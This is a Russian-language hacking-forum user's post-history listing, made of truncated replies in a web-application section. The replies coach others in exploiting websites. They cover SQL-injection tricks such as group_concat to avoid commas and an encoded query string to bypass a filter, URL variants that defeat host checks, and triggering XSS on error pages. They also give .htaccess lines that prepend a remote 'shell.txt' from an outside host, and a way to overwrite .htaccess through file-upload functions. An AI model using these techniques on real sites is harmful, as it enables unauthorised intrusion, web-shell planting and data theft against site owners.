Раздел: Web-среда/Web-applications
16.03.2016, 15:09
|
|
Ответов: 3,618
Просмотров: 3,136,498
|
|
Раздел: Web-среда/Web-applications
14.03.2016, 15:35
|
|
Ответов: 38
Просмотров: 163,039
Если очень хочется concat, а запятой нет -...
Если очень хочется concat, а запятой нет - поможет group_concat:
mysql> SELECT group_concat(c) FROM (SELECT (1234)c UNION SELECT 5678)t;
+-----------------+
| group_concat(c) |...
|
|
Раздел: Web-среда/Web-applications
09.03.2016, 23:04
|
|
Ответов: 3,618
Просмотров: 3,136,498
Препятствий эксплуатации уязвимости в вашем...
Препятствий эксплуатации уязвимости в вашем случае нет, но запрос вы строите некорректно. Error-based - метод вывода информации, не более того.
Для заливки легче достроить основной SELECT запрос,...
|
|
Раздел: Web-среда/Web-applications
09.03.2016, 01:08
|
|
Ответов: 3,618
Просмотров: 3,136,498
|
|
Раздел: Web-среда/Web-applications
26.11.2015, 23:51
|
|
Ответов: 10
Просмотров: 33,493
|
|
Раздел: Web-среда/Web-applications
25.11.2015, 22:10
|
|
Ответов: 10
Просмотров: 33,493
|
|
Раздел: Web-среда/Web-applications
25.11.2015, 04:06
|
|
Ответов: 3,618
Просмотров: 3,136,498
|
|
Раздел: Web-среда/Web-applications
14.11.2015, 12:26
|
|
Ответов: 3,618
Просмотров: 3,136,498
|
|
Раздел: Web-среда/Web-applications
01.11.2015, 15:45
|
|
Ответов: 3,618
Просмотров: 3,136,498
http://test.ru.qwerty.ru/ ...
http://test.ru.qwerty.ru/
http://test.ru.qwerty.ru:81//test.ru/
http://test.ru.qwerty.ru/%0A/
http://test.ru._qwerty.ru/
http://qwerty.ru/test.ru/
http://qwerty.ru/http://test.ru/...
|
|
Раздел: Web-среда/Web-applications
21.10.2015, 23:34
|
|
Ответов: 3,618
Просмотров: 3,136,498
Увы, без начального слэша нельзя. Как понимаю,...
Увы, без начального слэша нельзя. Как понимаю, XSS-ка на странице ошибки? Попробуйте вызвать её другими методами: 404 (страница не существует), 403 (доступ запрещен), 414 (длинный URL), 413 (большой...
|
|
Раздел: Web-среда/Web-applications
21.10.2015, 05:11
|
|
Ответов: 3,618
Просмотров: 3,136,498
|
|
Раздел: Web-среда/Web-applications
01.10.2015, 12:13
|
|
Ответов: 3,618
Просмотров: 3,136,498
|
|
Раздел: Web-среда/Web-applications
01.10.2015, 01:59
|
|
Ответов: 3,618
Просмотров: 3,136,498
|
|
Раздел: Web-среда/Web-applications
23.08.2015, 02:09
|
|
Ответов: 3,618
Просмотров: 3,136,498
|
|
Раздел: Web-среда/Web-applications
21.08.2015, 02:04
|
|
Ответов: 3,618
Просмотров: 3,136,498
QUERY_STRING не проходит urldecode (и по...
QUERY_STRING не проходит urldecode (и по техническим особенностям никогда не сможет цельно его пройти), вы можете передать закодированный запрос. Фильтр на SQL-injection обойдется. С одинарной...
|
|
Раздел: Web-среда/Web-applications
16.08.2015, 15:29
|
|
Ответов: 3,618
Просмотров: 3,136,498
|
|
Раздел: Мировые новости/World news
11.08.2015, 23:59
|
|
Ответов: 5
Просмотров: 18,475
|
|
Раздел: Web-среда/Web-applications
06.08.2015, 23:42
|
|
Ответов: 5
Просмотров: 10,566
Если вы изменяетеи.htaccess, можно...
Если вы изменяетеи.htaccess, можно сконцентрироваться на нем и забыть о загрузке файлов.
php_flag allow_url_include on
php_value auto_prepend_file "http://site.com/shell.txt"
Аналогично...
|
|
Раздел: Web-среда/Web-applications
31.07.2015, 23:11
|
|
Ответов: 5
Просмотров: 10,566
Можно попробовать перезаписать .htaccess (если...
Можно попробовать перезаписать .htaccess (если защита в нем, а не в конфигах апача), в случае, если нет проверки и есть соответствующие права. copy и move_uplodd_file поддерживают эту возможность.
...
|
|
Раздел: Сервисы, БД, Серверы/Network services, Databases, Servers
15.06.2015, 14:36
|
|
Ответов: 5
Просмотров: 16,663
allow_url_fopen? DNS?
display_errors?
...
allow_url_fopen? DNS?
display_errors?
Разбейте процесс на части. Сначала получите IP по HOST. Попробуйте подключиться к нему через консоль. Уже затем PHP. Где-то цепь оборвется. Возможно...
|
|
Раздел: Web-среда/Web-applications
14.06.2015, 08:31
|
|
Ответов: 3,618
Просмотров: 3,136,498
Как вам удается эксплуатировать её, используя...
Как вам удается эксплуатировать её, используя техники Blind SQL-inj? Каким образом результат запроса отражается на ресурсе? Обычно сканеры - самая верная вещь для её определения, и вероятно, её...
|
|
Раздел: Web-среда/Web-applications
10.06.2015, 15:22
|
|
Ответов: 3
Просмотров: 9,946
|
|
Раздел: Web-среда/Web-applications
10.06.2015, 14:11
|
|
Ответов: 3
Просмотров: 9,946
|
